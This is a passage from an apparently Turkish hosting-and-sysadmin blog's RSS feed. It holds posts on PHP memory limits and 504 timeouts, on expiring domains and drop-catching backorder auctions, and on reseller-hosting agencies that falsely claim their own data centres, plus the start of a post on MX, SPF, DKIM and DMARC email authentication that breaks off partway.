<p>Bellek yetmeyince müşteri bu kez işlemcinin çalışma süresini zorlamaya başlar:<br>
<code>max_execution_time = 300</code> (5 dakika!).</p>
<p>Ön tarafta Nginx veya Apache gibi bir ters vekil sunucu (Reverse Proxy) beklemektedir. Nginx, arkadaki PHP-FPM işlemcisine isteği iletir: <em>"Al bu sayfayı çalıştır ve bana HTML çıktısını ver."</em></p>
<p>Nginx'in bir sabır sınırı vardır: Genellikle 60 saniye.<br>
PHP o kötü yazılmış kodun içinde veritabanında döngülere girip takla atarken, 60 saniye boyunca tek bir bayt bile çıktı üretemez.<br>
Ve Nginx arkadaki PHP'nin donup kaldığına karar verir:<br>
İletişimi keser ve kullanıcıya o soğuk mesajı yapıştırır:<br>
<strong>HTTP 504 Gateway Timeout.</strong></p>
<p>Yani Nginx der ki: <em>"Arkadaki kapı bana 60 saniyedir cevap vermiyor, öldü herhalde."</em></p>
<p>Müşteri ise yine desteğe bağırır: <em>"Sunucunuz zaman aşımına uğruyor, timeout süremi 10 dakikaya çıkarın!"</em></p>
<p>Bir web sayfasının açılması için bir insanın 10 dakika ekrana bakmasını bekleyen bir zihniyet!</p>
<hr>
<h3>Paylaşımlı Sunucuda "Adalet" Duvarı</h3>
<p>Eğer bir hosting firması o müşterinin her istediği <code>memory_limit = 2048M</code> ve <code>max_execution_time = 600</code> talebine "evet" derse ne olur?</p>
<p>O sunucuda barınan diğer 300 masum müşterinin hayatı kararır!<br>
O tek müşterinin bozuk scripti sunucunun 64 GB'lık RAM'ini saniyeler içinde sömürür, Linux çekirdeğinin hafıza koruma katili olan <strong>OOM Killer (Out of Memory Killer)</strong> devreye girer ve sunucudaki MySQL veritabanı servisini pat diye öldürür!</p>
<p>Tüm sunucu çöker.</p>
<p>İşte bu yüzden CloudLinux ve LVE limitleri, hosting dünyasının emniyet kemeridir. O limitler müşteriyi kısıtlamak için değil; müşteriyi kendi cehaletinden ve komşularının sorumsuzluğundan korumak için vardır.</p>
<hr>
<h3>Çözüm Vanayı Açmakta Değil, Kodu Tedavi Etmektedir</h3>
<p>Bir sistem yöneticisinin görevi müşterinin her istediği zararlı ilacı ona yazmak değildir:</p>
<ul>
<li><strong>Chunking (Parçalayarak İşleme):</strong> Veritabanından 50 bin satır tek seferde çekilmez! Veri 500'erli paketler halinde (<code>LIMIT 500 OFFSET 0</code>) belleğe alınır, işlenir, bellek boşaltılır ve sonraki pakete geçilir. PHP belleği asla 50 MB'ı geçmez.</li>
<li><strong>Arka Plan İş Kuyrukları (Cron / Queue Worker):</strong> Uzun süren import veya e-posta gönderim işlemleri asla bir web tarayıcısı isteği (HTTP request) içinde çalıştırılmaz! Bu tür ağır işler arka planda CLI üzerinden çalışan bağımsız kuyruk yöneticilerine (RabbitMQ, Redis Queue veya basit bir cron scriptine) devredilir.</li>
<li><strong>Bellek Profilleme (Xdebug / Blackfire):</strong> Hangi fonksiyonun kaç megabayt bellek yuttuğunu analiz eden profilleme araçlarıyla kodun içindeki o kara delikler tek tek kapatılmalıdır.</li>
</ul>
<p>Tıpta nefes darlığı çeken KOAH hastasına oksijen vanasını sonuna kadar açan hekim hastayı öldürür.</p>
<p>Hosting firması da bellek sızdıran script'e sınırsız RAM veren bir acemi olamaz.</p>
<p>Çözüm belleğin vanasını açmakta değil; kodu ameliyat masasına yatırıp o dipsiz bellek deliklerini dikmektedir. Kodu iyileştirin; çünkü hiçbir sunucu, sonsuz bir döngünün açlığını doyuramaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>Memory Limit</category>
            <category>Hosting</category>
            <category>Optimizasyon</category>
            <category>cPanel</category>
            <category>SysAdmin</category>
            <category>Web Geliştirme</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-memory-limit-ve-504-gateway-timeout-doyurulamayan-kodun-ajitasyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Backorder" ve Düşen Domain'ler: Milisaniyelik Dijital Arsa Avcılığı]]></title>
            <link>http://localhost:3000/blog/post/backorder-ve-dusen-domainler-milisaniyelik-dijital-arsa-avciligi</link>
            <guid>backorder-ve-dusen-domainler-milisaniyelik-dijital-arsa-avciligi</guid>
            <pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Süresi unutulan alan adlarının Redemption ve Pending Delete evreleri; Verisign kök sunucularına saniyede binlerce API isteği fırlatan botlar ve düşen domain borsasının vahşi gerçekleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/backorder-ve-dusen-domainler-milisaniyelik-dijital-arsa-avciligi/thumbnail" alt=""> Hukuk ve veraset davalarında arsa spekülatörlerinin ve emlak simsarlarının çok iyi bildiği acımasız bir takip mekanizması vardır: "Sahipsiz Tereke ve Hazine Malları."</p>
<p>Şehrin en kıymetli caddesinde iki katlı tarihi bir konak düşünün. Konağın sahibi yaşlı bir beyefendidir; çocukları yoktur, hafızası zayıflamıştır, emlak vergilerini ve tapu harçlarını takip edemez hale gelmiştir.</p>
<p>Dışarıdaki emlak simsarları konağın camının önünden geçerken adeta bir akbaba gibi pusuya yatarlar. Tapu kayıtlarını, vergi dairelerini, mahkeme ilanlarını her gün gizlice tararlar. Adamın vefat ettiği veya tapunun borçtan ötürü haciz kütüğüne düştüğü o ilk resmi saniyede; mirasçılar durumu fark edemeden tapu dairesine koşup o milyonluk arsayı açık artırmada ucuza kapatmak için sıraya girerler. Sistem kanunidir, resmidir; fakat ahlaki açıdan vahşi bir mirasyedi pususudur.</p>
<p>İnternet dünyasında, web altyapılarında ve alan adı ekosisteminde de her gün tamı tamına bu emlak avcılığını kopyalayan, milisaniyeler düzeyinde savaşların döndüğü küresel bir borsa vardır: <strong>"Düşen Domain" (Dropping Domains) Takibi ve Backorder Avcılığı.</strong></p>
<p>Ve sıradan bir web sitesi sahibinin "Aman iki gün sonra yenilerim" diyerek unuttuğu o alan adı; saniyeler içinde uluslararası dijital kartellerin açık artırma masasında binlerce dolarlık bir meze haline gelir.</p>
<hr>
<h3>Bir Alan Adının Ölüm Döngüsü (ICANN Yaşam Çizelgesi)</h3>
<p>Bir alan adını (örneğin <code>.com</code> veya <code>.net</code>) GoDaddy veya Namecheap gibi bir firmadan aldığınızda, aslında o alan adını satın almazsınız; sadece belirli bir süreliğine (genellikle 1 yıl) kiralarsınız.</p>
<p>Kira süresi dolduğunda o alan adı hemen serbest kalıp başkaları tarafından alınabilir hale gelmez. ICANN (İnternet Tahsisli Sayılar ve İsimler Kurumu) çok katı ve kademeli bir <strong>"Yaşam Döngüsü" (Domain Lifecycle)</strong> belirlemiştir:</p>
<h4>1. Evre: Yenileme Lütuf Süresi (Grace Period - 0 ila 45 Gün)</h4>
<p>Süre dolmuştur. Web siteniz anında kapanır, e-postalarınız kesilir. Alan adı sağlayıcınız (Registrar) sayfaya kendi reklamlarını koyar. Fakat hala hak sizdedir; normal yenileme ücretini ödeyerek alan adınızı tek tıkla kurtarabilirsiniz.</p>
<h4>2. Evre: Cezalı Kurtarma Dönemi (Redemption Period - 30 Gün)</h4>
<p>Grace period bittiğinde alan adı arafın derinliklerine düşer. Artık normal yenileme yapamazsınız!<br>
Eğer alan adınızı geri almak istiyorsanız, alan adı ücretinin yanına ek olarak <strong>100 ila 250 Dolar arasında devasa bir "Kurtarma Cezası" (Redemption Fee)</strong> ödemek zorunda bırakılırsınız! Şirketler bu cezayı görünce şoka girer.</p>
<h4>3. Evre: Silinmeyi Bekleme (Pending Delete - 5 Gün)</h4>
<p>Cezayı da ödemediniz. Artık her şey bitmiştir. Geri dönüş yoktur. ICANN ve merkezi kayıt operatörü (Verisign), alan adını nihai olarak veritabanından silmek üzere 5 günlük geri sayıma alır.</p>
<p>Ve beşinci günün sonunda, saat tam <strong>UTC 18:00 ile 19:00 arasında (Türkiye saatiyle genellikle 21:00-22:00 sularında)</strong> o alan adı merkezi sicilden tamamen silinir: <strong>"DROP" (DÜŞME ANI).</strong></p>
<hr>
<h3>"Ben Akşam Oturur Alırım" Saflığı</h3>
<p>İşte dijital dünyadaki en büyük saflık tam bu anda yaşanır.<br>
Alan adını unutan şirket sahibi veya webmaster takvime bakar:<br>
<em>"Pending Delete 5 gün sürüyormuş. Demek ki bu gece saat onda boşa çıkacak. Ben akşam evde çayımı içerken bilgisayarın başına geçerim, tescil firmasına girer 10 dolara kartımla yeniden tescil ederim."</em></p>
<p>Bu düşünce, çıplak elle bir Formula 1 arabasıyla yarışabileceğini zannetmek kadar trajikomik bir cehalettir!</p>
<p>Siz akşam saat onda tarayıcınızı açıp "Satın Al" butonuna bastığınızda, ekranda şu yazıyı görürsünüz:<br>
<code>Bu alan adı az önce başka bir kullanıcı tarafından tescil edildi!</code></p>
<p>Peki ne olmuştur? O saniyede ne yaşanmıştır?</p>
<hr>
<h3>Milisaniyelik Bot Savaşları: Backorder Kartelleri</h3>
<p>Alan adı düştüğü o mikrosaniyelik anda masada insanlar değil; <strong>yapay zeka ve API botları</strong> savaşır.</p>
<p>Dünyada bu işi profesyonel bir endüstriye dönüştürmüş devasa "Drop-Catching" kartelleri vardır: <strong>DropCatch, SnapNames, NameJet (Web.com) ve Pool.</strong></p>
<p>Bu şirketlerin nasıl çalıştığını biliyor musunuz?<br>
Verisign gibi merkezi kök kayıt operatörleri, her bir akredite yazman (Registrar) firmaya saniyede belirli sayıda API bağlantı hakkı tanır.<br>
DropCatch gibi devler ne yapar?<br>
Piyasada yüzlerce, bazen <strong>binlerce farklı paravan ICANN-akredite registrar şirketi kurarlar veya satın alırlar!</strong></p>
<p>Saat tam düşme anına geldiğinde:<br>
O binlerce yazman sunucusu, Verisign'ın kök sunucularına aynı anda, saniyede <strong>on binlerce "CREATE DOMAIN" (Alan Adı Oluştur) API isteği</strong> fırlatmaya başlar!</p>
<p>Alan adının kök kütükten silindiği o mikrosaniye ile yeni bir botun o adı kaptığı an arasındaki süre ne kadardır biliyor musunuz?<br>
<strong>Sadece 10 ila 30 milisaniye!</strong></p>
<p>İnsan gözünün bir kez kırpılması 300 milisaniye sürer.<br>
Yani siz gözünüzü bir kez kırpana kadar, o botlar kök sunucuya 10 bin kez istek atmış ve alan adını çoktan kendi havuzlarına kilitlemiştir bile!</p>
<hr>
<h3>Gizli Açık Artırma Masası (Private Auction)</h3>
<p>Peki bu Backorder firması o alan adını kaptıktan sonra ne yapar?<br>
Hemen sizin hesabınıza mı tanımlar?<br>
Asla!</p>
<p>Eğer o düşen alan adı için önceden sadece siz "Backorder" siparişi verdiyseniz, standart hizmet bedelini (yaklaşık 50-80 Dolar) alır ve alan adını size verir.</p>
<p>Fakat o alan adı değerli bir kelimeyse, 10 yıllık bir geçmişi (Domain Authority) varsa, arkasında kaliteli Google backlinkleri barındırıyorsa; o alan adı için birden fazla avcı pusuya yatmıştır.</p>
<p>Ve o gece yarısı sistem otomatik olarak <strong>"Gizli Açık Artırma" (Private Auction)</strong> moduna geçer!</p>
<p>Ertesi sabah e-postanızı açarsınız:<br>
<em>"Tebrikler, alan adı başarıyla yakalandı! Açık artırma başladı. Başlangıç teklifi: 69 Dolar."</em></p>
<p>İki saat sonra teklif 500 Dolara fırlar.<br>
Dört saat sonra Çinli, Amerikalı ve Türk domain yatırımcıları masaya girer; açık artırma <strong>5.000 Dolar, 10.000 Dolar</strong> seviyelerine tırmanır!</p>
<p>On yıldır şirketinizin tabelasında asılı duran, kartvizitlerinizde basılı olan o alan adı; sizin 10 dolarlık yenileme faturasını unutmanız yüzünden bir kumar masasında açık artırmayla en yüksek parayı basan spekülatöre satılır.</p>
<hr>
<h3>Yağmadan Korunmanın Demir Kanunları</h3>
<p>Dijital mülkiyetinizi akbabalara kaptırmak istemiyorsanız, şu temel kuralları şirket politikanız haline getirmelisiniz:</p>
<ol>
<li><strong>Otomatik Yenilemeyi (Auto-Renew) Asla Kapatmayın:</strong> Alan adınızın otomatik yenileme butonunu açık tutun ve sisteme tanımlı kredi kartının geçerlilik tarihini sürekli güncel tutun.</li>
<li><strong>On Yıllık Tescil Edin:</strong> Kritik kurumsal alan adlarınızı yıllık değil; maksimum izin verilen süre olan <strong>10 yıllık</strong> tescil edin. 10 yıllık alan adı hem arama motorlarının (SEO) gözünde markanıza müthiş bir güvenilirlik sağlar, hem de her yıl "acaba süre bitti mi" stresinden sizi kurtarır.</li>
<li><strong>Whois Bilgilerinde Kurumsal E-Posta Kullanmayın:</strong> En ölümcül hatalardan biridir: <code>info@sirketiniz.com</code> adresini alan adının irtibat e-postası yaparsınız. Alan adının süresi bittiği gün o e-posta da kapanır! Sağlayıcı size "Süreniz bitti" uyarısı atar ama o e-posta zaten çalışmadığı için uyarıyı göremezsiniz! İrtibat e-postası daima bağımsız bir kurumsal Gmail veya Proton hesabı olmalıdır.</li>
<li><strong>Tescil Kilidi (Transfer Lock / Registry Lock):</strong> Alan adınızın transfer kilidini daima aktif tutun; üst düzey kurumsal domainlerde Verisign seviyesinde "Registry Lock" kullanarak izinsiz el değiştirmeleri tamamen engelleyin.</li>
</ol>
<p>Tıpta hastanın kalbi durduğunda miras avcıları kapıya üşüşür.</p>
<p>İnternet dünyasında da süresi dolan her değerli alan adının arkasında pusuya yatmış binlerce algoritma beklemektedir. Dijital arsanızın tapusunu masada unutmayın; çünkü o masadan bir kez kalkan mülkü, bir daha asla eski fiyatına geri alamazsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>Backorder</category>
            <category>ICANN</category>
            <category>DNS</category>
            <category>Web</category>
            <category>Girişimcilik</category>
            <category>Teknoloji Trendleri</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/backorder-ve-dusen-domainler-milisaniyelik-dijital-arsa-avciligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Reseller Hosting Alan "Ajans": Müşterisine Veri Merkezi Sahibi Gibi Davranmak]]></title>
            <link>http://localhost:3000/blog/post/reseller-hosting-alan-ajans-musterisine-veri-merkezi-sahibi-gibi-davranmak</link>
            <guid>reseller-hosting-alan-ajans-musterisine-veri-merkezi-sahibi-gibi-davranmak</guid>
            <pubDate>Sat, 18 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aylık iki yüz liralık bayi (reseller) paketiyle elli müşteriye "Bursa ve Frankfurt'taki kendi veri merkezlerimiz" masalı anlatan butik ajans tiyatrosu; aracı olmanın sahte kibri ve çöküş anı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/reseller-hosting-alan-ajans-musterisine-veri-merkezi-sahibi-gibi-davranmak/thumbnail" alt=""> Sağlık sektörünün ve tıp sosyolojisinin en trajikomik figürlerinden biri "fason muayenehane" heveslileridir.</p>
<p>Kadıköy'de veya Şişli'de şık bir plazanın üçüncü katında iki odalı bir ofis kiralanır. Kapıya pirinç levhayla gösterişli bir tabela asılır: <em>"Uluslararası Biyoteknoloji ve İleri Tanı Laboratuvarları Merkezi."</em></p>
<p>İçeride beyaz önlük giymiş, boynuna stetoskop asmış bir beyefendi hastayı ağırlar. Masada broşürler, duvarda monitörler parıldar. Beyefendi hastaya gururla anlatır:<br>
<em>"Efendim, bizim Zürih ve Viyana'daki genetik araştırma merkezlerimizde kanınızı en ileri PCR robotlarımızla inceleyeceğiz. Kendi laboratuvar ekibimiz 7/24 çalışıyor."</em></p>
<p>Hasta sanır ki karşısında Nobel ödüllü bir tıp dehası ve arkasında yüz milyon dolarlık bir araştırma hastanesi vardır!</p>
<p>Oysa gerçekte ne olmaktadır biliyor musunuz?<br>
Hasta kanını tüpe verip kapıdan çıktığı o ilk dakikada; o beyaz önlüklü beyefendi kan tüpünü sıradan bir poşete koyar, arka sokaktaki bir devlet hastanesinin acil biyokimya laboratuvarında çalışan stajyere 100 lira verip el altından tahlil yaptırmaya koşar!</p>
<p>Ve ertesi gün hastane laboratuvarının santrifüj cihazı bozulup tahlil geciktiğinde, hasta telefon açınca ahizeden o tarihi yalan yükselir:<br>
<em>"Ahmet Bey, Zürih'teki ana genetik merkezimizdeki kuantum sekanslama robotlarımızda planlı bir kalibrasyon bakımı var, ekiplerimiz müdahale ediyor!"</em></p>
<p>Türkiye'deki dijital ajanslar, butik reklamcılar ve freelance web geliştiricileri dünyasında da tam olarak bu sahte laboratuvar tiyatrosunu birebir sahneleyen, her gün binlerce KOBİ'yi büyüleyen meşhur bir sektör şaheseri vardır: <strong>Aylık 250 Liralık Reseller (Bayi) Paketi Alıp, Müşterisine "Kendi Veri Merkezimiz Var" Diyen Ajans Patronluğu.</strong></p>
<hr>
<h3>Müşteri Toplantısındaki Silikon Vadisi Havası</h3>
<p>Toplantı Beşiktaş'ta veya Levent'te üçüncü nesil bir kahvecide veya şık bir plazanın toplantı odasında yapılır.<br>
Masada yerel bir mobilya üreticisi veya tekstil ihracatçısı patron oturmaktadır. Karşısında ise son model MacBook'unun kapağını açmış, siyah boğazlı kazak giymiş 26 yaşındaki "Creative Director / Agency Founder" oturur.</p>
<p>Müşteri web sitesi için el sıkışır: 40.000 TL web tasarım bedeli.<br>
Sıra hosting ve barındırma konusuna gelir.<br>
Ajans patronu ses tonunu iki oktav kalınlaştırır, yüzüne derin bir mühendislik ciddiyeti yerleştirir:</p>
<blockquote>
<p><em>"Hasan Bey, biliyorsunuz piyasada ucuz hosting firmaları var ama biz kurumsal firmalarla çalıştığımız için asla öyle yerlerle iş yapmayız. Bizim hem Bursa'da hem de Almanya Frankfurt'ta <strong>kendi özel Tier-3 veri merkezi sunucularımız ve bağımsız kabinlerimiz</strong> var. 7/24 çalışan Ağ Operasyon Merkezimiz (NOC) sunucularımızı izler. Çift fiber omurgamız, DDoS kalkanımız ve yedek jeneratörlerimizle siteniz asla kapanmaz. Bu özel altyapı için yıllık sunucu barındırma bedelimiz sadece 7.500 TL."</em></p>
</blockquote>
<p>Hasan Bey büyülenir. Karşısındaki genci adeta Elon Musk'ın Türkiye temsilcisi zanneder. Hemen çeki yazar: <em>"Helal olsun çocuklara, adamların Almanya'da veri merkezleri varmış!"</em></p>
<hr>
<h3>Sahne Arkasındaki Çıplak Gerçek: 250 TL'lik WHM Paneli</h3>
<p>Peki o toplantı bittikten sonra ajans patronu ne yapar?<br>
Hemen laptopunu açar.<br>
Türkiye'deki popüler bir yerel hosting firmasının (veya Hetzner'deki ucuz bir kiralık sunucu sağlayıcısının) web sitesine girer.</p>
<p>Oradan ne alır biliyor musunuz?<br>
<strong>"Limitsiz Bayi Hosting Paketi (Reseller Cpanel / WHM)"</strong><br>
Aylık maliyet: <strong>KDV dahil 249 TL!</strong></p>
<p>Özellikler:</p>
<ul>
<li>50 Adet cPanel Hesabı Açma Hakkı</li>
<li>100 GB Paylaşımlı Disk</li>
<li>Ortak paylaşımlı tek bir IP adresi!</li>
</ul>
<p>Ajans patronu WHM paneline girer:<br>
<code>Create a New Account</code> butonuna basar.<br>
Hasan Bey'in alan adını yazar: <code>hasanmobilya.com</code>.<br>
Beş saniye içinde hesap açılır.</p>
<p>Ajans patronu arkasına yaslanır.<br>
Kendi cebinden ayda 5 lira maliyeti olan bir paylaşımlı hosting alanını, Hasan Bey'e yıllık 7.500 liraya "Frankfurt'taki özel Tier-3 kabinimiz" masalıyla başarıyla satmıştır!<br>
Tam bir finansal arbitraj şaheseri!</p>
<hr>
<h3>Çöküş Günü: Gerçek Veri Merkezinde Sigorta Attığında</h3>
<p>Bu tatlı rüya aylar boyunca tıkır tıkır işler. Ajans patronu aynı 250 liralık reseller paketinin içine 40 tane farklı müşteriyi (dişçiyi, avukatı, çiçekçiyi, oto galericiyi) balık istifi gibi doldurur.</p>
<p>Ta ki o kara Salı günü saat 14:15'e kadar.</p>
<p>O asıl hosting firmasının bulunduğu veri merkezinde rutin bir bakım yapılır veya omurga switch'lerinden birinin güç kablosu çıkar. Sunucu aniden <strong>on dakikalığına</strong> kesintiye uğrar.</p>
<p>Ve o anda ajans patronunun telefonu çılgınca çalmaya başlar!<br>
Aynı anda 40 farklı müşteri aramaktadır!</p>
<ul>
<li>Hasan Mobilya: <em>"Sitem açılmıyor!"</em></li>
<li>Diş Kliniği: <em>"Randevu alamıyoruz!"</em></li>
<li>Hukuk Bürosu: <em>"Maillerimiz durdu!"</em></li>
</ul>
<p>Ajans patronunun kalbi fırlar. Ofisin içinde kan ter içinde volta atmaya başlar.<br>
Müşterilerine ne diyecektir?<br>
"Ben aslında veri merkezi sahibi değilim, ayda 250 liraya bayi paketi almıştım, adamların sunucusu çökmüş ben de bekliyorum" diyebilir mi?<br>
Asla! Bu kendi kurduğu o devasa imparatorluk yalanının intiharı demektir!</p>
<hr>
<h3>WhatsApp Gruplarındaki Epik Senaryolar</h3>
<p>Ve o meşhur kurumsal tiyatro başlar.<br>
Ajans patronu WhatsApp Business üzerinden tüm müşterilerine acil durum bülteni geçer:</p>
<blockquote>
<p><em>"Değerli Müşterilerimiz,<br>
Frankfurt ve Bursa veri merkezlerimizin ana fiber omurga hattında Avrupa çapında yaşanan global bir sismik kablo arızası ve buna bağlı gelişen uluslararası DDoS saldırısı tespit edilmiştir. Siber güvenlik ve Ağ Operasyon Merkezi (NOC) mühendislerimiz şu an kabinlerimizde acil durum protokollerini devreye almış olup, yedek BGP anonsları yapılmaktadır. Kısa süreli dalgalanma için özür dileriz."</em></p>
</blockquote>
<p>Vay canına! Metne bakın; sismik arızalar, siber tatbikatlar, NOC ekipleri, BGP anonsları!<br>
Müşteriler okur: <em>"Vay be, adamlar ne büyük küresel bir savaş veriyor meğerse!"</em></p>
<p>Peki aynı saniyelerde o ajans patronu gerçekte ne yapmaktadır?<br>
Arka planda o 250 liralık hosting firmasının destek sisteminde ağlayarak bilet yazmaktadır:</p>
<blockquote>
<p><em>"Abi kurbanınız olayım açın şu sunucuyu! Bütün müşterilerim arıyor, rezil oldum, mahkemeye verecekler beni, iflas edeceğim! İki dakikalığına da olsa açın nolur!"</em></p>
</blockquote>
<p>O kudretli "veri merkezi patronu", iki satırlık cPanel desteği bekleyen çaresiz bir stajyere dönüşmüştür.</p>
<hr>
<h3>Aracı Olmanın Ağır Bedeli</h3>
<p>Bilişim sektöründe reseller (bayi) olmak ayıp bir şey değildir; meşru ve karlı bir iş modelidir.<br>
Fakat ayıp ve tehlikeli olan şey; <strong>olmadığınız bir altyapının kibrini satmaktır.</strong></p>
<ul>
<li>Müşterinize karşı dürüst olun: <em>"Biz web geliştirme ajansıyız. Sunucu altyapımızı Türkiye'nin ve dünyanın en büyük lider sağlayıcılarından tedarik ediyoruz"</em> demek bir eksiklik değil, profesyonel bir şeffaflıktır.</li>
<li>Kriz anında sorumluluktan kaçamazsınız: Aradaki katman olmanın komisyonunu cebe indirirken patron, kesinti olduğunda ise suçu görünmez güçlere atan bir aracı olmak itibarınızı bir günde sıfırlar.</li>
<li>Katma Değer Üretin: Sadece cPanel hesabı açıp aradaki farkı cebe indirmek ajanslık değildir. Gerçek barındırma hizmeti; müşterinin sitesini optimize etmek, haftalık bağımsız harici yedeklerini almak ve güvenlik yamalarını takip etmektir.</li>
</ul>
<p>Tıpta başkasının laboratuvarına güvenip ameliyat masasında yalan söyleyen doktorun foyası ilk krizde ortaya çıkar.</p>
<p>Bilişimde de 250 liralık bayi paketiyle veri merkezi patronluğu oynayan ajansın maskesi, ilk switch kesintisinde yere düşer. Altyapınız neyse o olun; çünkü kablo koptuğunda sahte unvanlar değil, çıplak gerçekler konuşur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Reseller</category>
            <category>Hosting</category>
            <category>Ajans</category>
            <category>Girişimcilik</category>
            <category>Kültür</category>
            <category>Mizah</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/reseller-hosting-alan-ajans-musterisine-veri-merkezi-sahibi-gibi-davranmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Mailim Gitmiyor" Bilesi ve MX/SPF/DKIM/DMARC Dörtlüsünün Ağır Bürokrasisi]]></title>
            <link>http://localhost:3000/blog/post/mailim-gitmiyor-bilesi-ve-mxspfdkimdmarc-dortlusunun-agir-burokrasisi</link>
            <guid>mailim-gitmiyor-bilesi-ve-mxspfdkimdmarc-dortlusunun-agir-burokrasisi</guid>
            <pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[E-postaların Gmail ve Hotmail spam klasörüne düşmesiyle çılgına dönen müşterinin "Sunucunuz bozuk!" feryadı; havalimanı pasaport kontrolü analojisi ve e-posta kimlik doğrulama mimarisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mailim-gitmiyor-bilesi-ve-mxspfdkimdmarc-dortlusunun-agir-burokrasisi/thumbnail" alt=""> Uluslararası sınır güvenliğinin ve havalimanı pasaport kontrolünün tarihi, sahtecilikle mücadelenin evrimidir.</p>
<p>Bundan elli yıl önce bir sınır kapısından geçerken memura mühürlü bir kağıt parçası veya eski tip bir nüfus cüzdanı göstermeniz yeterli olabilirdi. Memur yüzünüze bakar, deftere bir damga vurur ve sizi ülkeye alırdı.</p>
<p>Fakat bugün Londra Heathrow veya New York JFK Havalimanı'nda pasaport kontrol kuyruğuna girdiğinizde ne yaşanır?<br>
Elinizdeki pasaportun içinde mikroskobik bir biyometrik çip olmak zorundadır. Yüz tanıma kamerası göz bebeklerinizin mesafesini ölçer, parmak izinizi tarayıcıya basarsınız, dijital vize onayınız (ESTA/ETA) merkezi veritabanıyla kriptografik olarak doğrulanır.</p>
<p>Eğer o çipteki dijital imzada tek bir harf uyuşmazlığı varsa; polise <em>"Yahu memur bey ben Ahmet'im, tanımadın mı beni, geçen yıl da gelmiştim"</em> demenizin hiçbir kıymeti yoktur. Sizi anında sınır dışı odasına (karantinaya) çeker veya ilk uçakla geri postalarlar. Çünkü küresel güvenlik şahsi beyana değil; matematiksel ve kriptografik doğrulamaya bakar.</p>
<p>İnternet dünyasında, web hosting sektöründe ve kurumsal e-posta iletişiminde de tam olarak bu biyometrik vize kapısını temsil eden, yerel müşterilerin anlamakta en çok zorlandığı devasa bir protokol duvarı vardır: <strong>MX, SPF, DKIM ve DMARC Dörtlüsünün Ağır Bürokrasisi.</strong></p>
<p>Ve bu duvarı aşamayıp e-postaları Gmail'in veya Microsoft'un kapısından dönen müşterinin teknik desteğe açtığı o meşhur <em>"Sizin sunucunuz bozuk!"</em> çığlığı, sektörün en yorucu cehalet sınavıdır.</p>
<hr>
<h3>2000'lerin Sahte Cenneti vs. 2024'ün Demir Perdesi</h3>
<p>2000'lerin başında e-posta göndermek dünyanın en basit, en kuralsız işlemiydi.<br>
Bir sunucu kurardınız. cPanel'den <code>ahmet@sirketiniz.com</code> diye bir hesap açardınız. Outlook'a sunucu IP'sini girer, "Gönder"e basardınız. E-posta dünyanın öbür ucundaki alıcının gelen kutusuna (inbox) şak diye düşerdi. Çünkü o yıllarda internet güvene dayalıydı; kimse kimsenin kimliğini sorgulamazdı.</p>
<p>Fakat bu saflık hızla suistimal edildi. Dolandırıcılar, hackerlar ve spam botları; bankaların, devlet kurumlarının veya rastgele insanların adresiyle sahte e-postalar (email spoofing) basmaya başladılar.</p>
<p>Ve dünya internetinin iki dev patronu —<strong>Google (Gmail) ve Yahoo/Microsoft</strong>— özellikle 2024 yılı itibarıyla masaya yumruğunu vurdu:<br>
<em>"Artık bizim sunucularımıza e-posta göndermek istiyorsanız; pasaportunuz, vizeniz, parmak iziniz ve noter tasdikli imzanız tam olmak zorundadır! Eksik tek bir kaydı olanın e-postasını ya doğrudan çöpe atarız (reject), ya da spam klasörünün dibine gömeriz!"</em></p>
<p>Ve bu kararla birlikte yerel hosting sektöründe büyük bir kıyamet koptu.</p>
<hr>
<h3>Dört Silahşörler: Dijital Pasaportun Sayfaları</h3>
<p>Bir e-postanın karşı tarafın gelen kutusuna güvenle düşebilmesi için DNS kayıtlarınızda şu dört kutsal mührün kusursuz işlemesi gerekir:</p>
<h4>1. MX (Mail Exchange) Kaydı: Posta Kutunuzun Adresi</h4>
<p>DNS'in en temel kaydıdır. Dünyaya şunu söyler: <em>"Benim alan adıma bir e-posta geldiğinde bunu şu sunucuya teslim et."</em> Bu kayıt olmazsa zaten hiç e-posta alamazsınız.</p>
<h4>2. SPF (Sender Policy Framework): Ruhsatlı IP Listesi</h4>
<p>Alan adınızın DNS kayıtlarına eklenen bir <code>TXT</code> satırıdır.<br>
Dünyaya açıkça ilan eder:<br>
<code>v=spf1 ip4:185.120.45.10 include:_spf.google.com ~all</code><br>
Yani der ki: <em>"Benim adıma dünyada e-posta gönderme yetkisine sahip tek IP adresi <code>185.120.45.10</code>'dur! Bunun dışındaki hiçbir sunucudan gelen maile inanmayın!"</em><br>
Alıcı sunucu maile bakar: Mail gerçekten o IP'den mi çıkmış? Evet ise ilk kapıdan geçer.</p>
<h4>3. DKIM (DomainKeys Identified Mail): Dijital Balmumu Mühür</h4>
<p>Eskiden krallar mektuplarını kapatırken yüzükleriyle kırmızı balmumu mühür basarlardı; yolda mektup açılırsa mühür kırılsın diye.<br>
DKIM tam olarak bu balmumu mühürdür!<br>
Sunucunuz e-postayı gönderirken, e-postanın başlığına (header) özel bir kriptografik özel anahtarla (Private Key) dijital bir imza atar. Alıcı sunucu ise sizin DNS'inizde yayınlanan açık anahtarı (Public Key) okuyarak o imzayı çözer.<br>
Böylece kanıtlanır ki: Bu e-posta yolda hiç kimse tarafından değiştirilmemiş ve tahrif edilmemiştir!</p>
<h4>4. DMARC (Domain-based Message Authentication): Nihai İdam Emri</h4>
<p>İşte en kritik kalkan! DMARC, SPF ve DKIM'in patronudur.<br>
Alıcı sunucuya kesin bir talimat verir:<br>
